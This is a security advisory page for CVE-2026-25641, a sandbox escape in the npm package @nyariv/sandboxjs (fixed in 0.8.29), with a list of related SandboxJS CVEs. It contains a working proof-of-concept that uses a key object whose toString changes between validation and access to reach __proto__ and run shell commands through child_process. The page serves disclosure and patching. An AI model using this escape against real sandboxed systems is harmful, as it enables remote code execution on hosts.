CVE-2026-25641: @nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
Summary A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Details Even though the key used in property accesses ( in the code below) is annotated as , this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious…
Published Feb 5, 2026 · Updated Feb 6, 2026
Affected packages
@nyariv/sandboxjs
- Ecosystem
- npm
- Affected
- <= 0.8.28
- Fixed in
- 0.8.29
- Check
npm ls @nyariv/sandboxjs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
Details
Even though the key used in property accesses (``b` in the code below) is annotated as `string`, this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using `hasOwnProperty(key)`` and a different one for when the key is used for the actual property access.
PoC
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run(); Impact
Remote code execution, if attacker can execute code inside the sandbox.
Credited to cristianstaicu.
References
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342
- https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
- https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
- https://nvd.nist.gov/vuln/detail/CVE-2026-25641
- https://github.com/advisories/GHSA-7x3h-rm86-3342
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-43898
SandboxJS has a sandbox escape via Function.caller leakage of internal call op
critical10.0May 11, 2026CVE-2026-34208
SandboxJS: Sandbox integrity escape
critical10.0Apr 3, 2026CVE-2026-26954
SandboxJS affected by a Sandbox Escape
critical10.0Mar 13, 2026CVE-2026-25881
@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)
critical9.0Feb 10, 2026CVE-2026-25520
@nyariv/sandboxjs has a Sandbox Escape issue
critical10.0Feb 5, 2026CVE-2026-25586
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
critical10.0Feb 5, 2026
